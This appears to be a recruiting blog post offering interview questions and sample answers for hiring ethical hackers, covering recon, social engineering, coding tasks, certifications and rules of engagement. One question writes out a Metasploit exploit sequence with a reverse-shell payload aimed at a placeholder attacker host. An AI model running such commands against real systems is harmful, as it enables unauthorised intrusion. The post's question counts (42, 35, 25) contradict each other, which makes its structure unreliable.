Ethical Hacker Interview Questions: 42 to Ask in 2026

The best ethical hacker interview questions do two jobs at once: they confirm a candidate can actually break into a system the right way, and they surface the judgment that keeps that skill on your side. This guide gives you 35 questions, grouped by what they test, plus a simple way to score the answers so two interviewers reach the same call. Use them after a hands-on skills test, not instead of one.

Demand is the reason to get this right. The U.S. Bureau of Labor Statistics expects jobs for information security analysts to grow 29% from 2024 to 2034, far above the 3% average across all jobs, and the ISC2 2024 Workforce Study still counts a global shortage of 4,763,963 cybersecurity professionals. When the talent pool is that tight, a sloppy interview costs you the few strong people who are on the market.

Summarise this post with:

Chatgpt Gemini Claude Grok Perplexity

Why test ethical hacking skills before the interview?

Because talk is cheap and exploitation is not. A scored assessment shows you who can run a real scan, read the output, and write a finding a developer can act on, all before you spend a minute of live interview time. The interview then does what it is good at: testing judgment, ethics, and how someone explains a risk to people who are not security experts.

This matters more for security roles than most. An ethical hacker holds access that, used wrong, becomes the breach you hired them to prevent. So you are screening for skill and trust together. We see the cleanest signal when teams put a practical test first, the way Testlify’s ethical hacking assessment scores coding and tooling ability, and save the conversation for the human factors a test can’t read. For adjacent roles, the same logic shows up in our guides on how to screen security developers and hiring a cybersecurity specialist.

When should you ask these questions?

Ask them in the technical round, after a skills assessment has already filtered for baseline ability and before the final culture and team-fit conversation. That order keeps your senior engineers focused on the candidates who can actually do the work, and it means the technical interview tests depth and reasoning, not whether someone memorised the OWASP Top 10.

One sequence that works: short recruiter screen, a scored practical assessment, then a 45-minute technical interview built from the questions below, then a final round on communication and ethics. By the last stage you are choosing between people who can all do the job, which is exactly where you want to be.

General ethical hacker interview questions

These 25 questions cover the day-to-day craft: reconnaissance, scanning, social engineering, malware analysis, and vulnerability management. For each one, listen for a named tool, a real scenario, and an honest tradeoff. A candidate who only recites definitions has read about the work but probably hasn’t done it.

Reconnaissance and scanning

1. What methods do you use during reconnaissance, and when do you choose passive over active? Strong answer: names OSINT, footprinting, and enumeration, and explains that passive recon avoids tipping off the target.
2. How do you use a WHOIS lookup early in an engagement? Strong answer: gathers domain ownership, contacts, and expiry to map the attack surface and find weak points.
3. When is Google dorking useful, and where is the ethical line? Strong answer: uses advanced search operators to find exposed files, but only within agreed scope.
4. Walk me through a case where DNS enumeration paid off. Strong answer: uses tools like DNSRecon to find subdomains and mail servers that became entry points.
5. Which network mapping tools do you reach for, and why? Strong answer: names Nmap, Netcraft, or Zenmap and explains how each finds live hosts and open ports.
6. How do you run a port scan, and what does the result tell you? Strong answer: explains open, closed, and filtered ports and the services behind them.
7. What are the risks of aggressive scanning? Strong answer: flags IDS detection and possible service disruption, and prefers stealthier timing.
8. Tell me about a critical vulnerability you found through scanning. Strong answer: gives the tool, how they validated it, and the fix that followed.
9. How do you separate false positives from real vulnerabilities? Strong answer: verifies manually, cross-checks tools, and correlates with known CVEs.
10. Which vulnerability scanners do you trust, and on what basis? Strong answer: names Nessus, OpenVAS, or Qualys and judges them on accuracy and coverage.

Social engineering

1. Which social engineering techniques work most reliably, and why? Strong answer: explains phishing, pretexting, and baiting through human psychology, not just tool use.
2. How do you build a convincing phishing email? Strong answer: cites personalisation, urgency, and a credible sender, framed for a sanctioned test.
3. Describe a sanctioned social engineering test you ran. Strong answer: shows the plan, the consent in scope, and the outcome.
4. How should an organisation defend against social engineering? Strong answer: recommends training, multi-factor authentication, and regular awareness drills.
5. How do you measure whether those defenses work? Strong answer: runs phishing simulations and tracks report rates over time.

Malware and vulnerability management

1. Walk me through the lifecycle of a malware attack. Strong answer: covers delivery, exploitation, installation, command and control, and actions on objectives.
2. How do you analyse a suspicious file? Strong answer: uses static and dynamic analysis in a sandbox with a disassembler or debugger.
3. What are the common malware types, and how do they differ? Strong answer: separates viruses, worms, Trojans, ransomware, and spyware by behavior.
4. How do you detect and remove malware from an infected host? Strong answer: isolates the machine, scans, removes, and restores from a clean backup.
5. What is an advanced persistent threat, and how does it operate? Strong answer: describes prolonged, targeted intrusions that evade detection for months.
6. How do you prioritise the vulnerabilities you find? Strong answer: weighs exploitability, impact, and asset value, not just CVSS score.
7. What is your process for remediating a critical vulnerability? Strong answer: patches, hardens, and retests rather than assuming the fix held.
8. How do you stay current on new threats? Strong answer: follows CVE feeds, threat intel, and trusted research, with a recent example.
9. Tell me about a zero-day you had to manage. Strong answer: shows calm triage, mitigation, and clear stakeholder communication.
10. Which tools support your ongoing problem-solving and vulnerability work, and why? Strong answer: ties tool choice to integration and reporting needs, not brand loyalty.

What technical questions reveal real skill?

Code-based questions cut through resume polish fast. Ask candidates to write small scripts for tasks they would actually automate: a port scan, a quick SQL check, input validation, file triage, or simple crypto. You are watching for clean logic and safe handling of input, not perfect syntax. Run these live or as a scored task, and ask them to talk through their choices.

26. Write a Python script that runs a simple port scan on a given IP. Look for socket basics and sensible timeouts.

import socket

def port_scan(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    result = sock.connect_ex((ip, port))
    print(f"Port {port}: Open" if result == 0 else f"Port {port}: Closed")
    sock.close()

27. Write a SQL query to find users who have not logged in for 30 days. Look for comfort with date functions.

SELECT username
FROM users
WHERE last_login < DATE_SUB(NOW(), INTERVAL 30 DAY);

28. Write a Python function that checks whether a string is a valid IPv4 address. Look for input validation, not just a regex.

import re

def is_valid_ipv4(ip):
    pattern = re.compile(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$")
    if not pattern.match(ip):
        return False
    return all(0 <= int(part) <= 255 for part in ip.split('.'))

29. Write a Bash script that lists files modified in the last 7 days. Look for fluency with everyday shell tooling.

#!/bin/bash
find /path/to/directory -type f -mtime -7

30. Write a Python function for a Caesar cipher with a shift of 3. Look for clear handling of wraparound and case.

def caesar_cipher(text, shift=3):
    out = []
    for char in text:
        if char.isalpha():
            base = 65 if char.isupper() else 97
            out.append(chr((ord(char) - base + shift) % 26 + base))
        else:
            out.append(char)
    return ''.join(out)

Web-focused candidates should also reason about cross-site scripting and the wider OWASP Top 10. Ask how they would find and fix a stored XSS bug, and listen for input validation, output encoding, and a retest, in that order.

Scenario questions that show real experience

The last five questions are open-ended on purpose. You want stories with specifics: the role they played, the tools they chose, the call they made under pressure, and what they would do differently. Vague, hero-narrative answers are a flag. Real practitioners remember the messy details.

1. Describe a tough breach you helped contain. What was your specific role, and what was the outcome?
2. How do you keep your skills current, and when did that recently change how you handled an incident?
3. Tell me about a complex security project you ran with a team. How did you keep everyone aligned?
4. What is the most serious vulnerability you have found, and how did you report and remediate it?
5. How do you prioritise when several assessments run at once? Walk me through a real example.

How do the major certifications compare?

Certifications are a screening signal, not a hiring decision. Each one tests a different slice of the job, so knowing what a certification actually measures tells you what still needs to be verified in the interview and the skills test.

31. How would you compare CEH, OSCP, and GPEN when you are screening a candidate?

What a strong answer covers: CEH proves familiarity with terminology and tools, OSCP proves the candidate can exploit a live target under time pressure with no multiple-choice safety net, and GPEN proves they can run a documented, repeatable methodology an enterprise client can audit. A candidate who conflates the three has not held all of them.

32. Should a certification be a hard requirement, or a plus?

What a strong answer covers: A plus, not a gate. A candidate with three years of documented bug bounty or pentest work and no certification often outperforms a freshly certified candidate with no field hours. Certifications compress screening time; they do not replace a practical assessment.

What should candidates show with real tool syntax?

Tool names on a resume are cheap. Asking a candidate to read, write, or explain actual syntax separates someone who has run the tool from someone who has watched a video about it.

33. What does this Nmap command do, and when would you run it this way?

nmap -sV -sC -p- -T2 target_ip

What a strong answer covers: Full port range scan (-p-) with service and version detection (-sV), default script scanning (-sC), throttled to a slower timing template (-T2) to reduce the chance of tripping an IDS. A strong candidate explains the timing tradeoff, not just the flags.

34. Walk me through using Metasploit to exploit a known vulnerable service.

msfconsole
use exploit/multi/http/apache_struts
set RHOSTS target_ip
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST attacker_ip
run

What a strong answer covers: Selecting the right module for a confirmed CVE, setting remote and local host options correctly, and choosing a payload that matches the target architecture. A strong candidate also flags that this only runs inside an authorized scope with a signed rules-of-engagement document.

35. How do you use Burp Suite’s Intruder to test for a broken access control issue?

What a strong answer covers: Capturing the request in the proxy, sending it to Intruder, marking the object or user ID parameter as a payload position, and running a sniper attack with a sequential ID list to see which requests return data the current session should not access.

What legal boundaries should every engagement have?

Technical skill without legal discipline is a liability, not an asset. These two questions test whether a candidate treats authorization as a real constraint or as paperwork to get past.

36. What has to be in a rules-of-engagement document before you start testing?

What a strong answer covers: Defined scope (IPs, domains, applications explicitly in and out of bounds), a testing window, an emergency contact, permitted techniques, and written authorization from someone with the actual authority to grant it. A candidate who skips written authorization is a legal risk to your company.

37. A scan turns up a live production database with unmasked customer data, outside your agreed scope. What do you do?

What a strong answer covers: Stops testing that system immediately, does not access or exfiltrate the data to “prove” the finding, and reports it through the agreed emergency contact channel the same day. Curiosity that overrides scope is a disqualifying answer, not an impressive one.

How do you score answers consistently?

Two interviewers can hear the same answer and rate it five points apart. A shared rubric fixes that. We score every answer against the Testlify Ethical Hacker Scorecard, a four-signal model that rates each response from 1 to 5 on technical depth, hands-on evidence, ethical judgment, and communication. Add the signals, compare across the panel, and your debrief argues about the borderline candidates instead of re-litigating every question.

Weight the signals to the role. A red-team hire leans on technical depth and hands-on evidence; a consultant who briefs executives needs communication to score high too. Whatever the mix, write it down before the interview so the panel measures the same thing.

What hiring mistakes should you avoid?

Most ethical hacker hiring goes wrong in a handful of predictable ways. Knowing them ahead of time saves you a bad hire in a role where a bad hire is expensive.

• Quizzing trivia instead of testing skill. Memorised port numbers prove nothing. A scored lab task does.
• Ignoring ethics. Always ask how a candidate handles access they were not granted. Hesitation here outranks any technical gap.
• Skipping the report. A finding nobody can act on is wasted work. Ask for a writing sample or a documented finding.
• One-interviewer scoring. Without a shared rubric, the loudest voice in the debrief wins. Score independently first.
• Treating certs as proof of skill. Certifications signal effort; a practical pentester assessment signals ability. Use both.

Key takeaways

Frequently asked questions

Hire ethical hackers with confidence

Testlify

Linkedin profile

Company

Specializing in the HRtech industry, Testlify brings together insights and data to deliver content that informs, engages, and drives meaningful outcomes.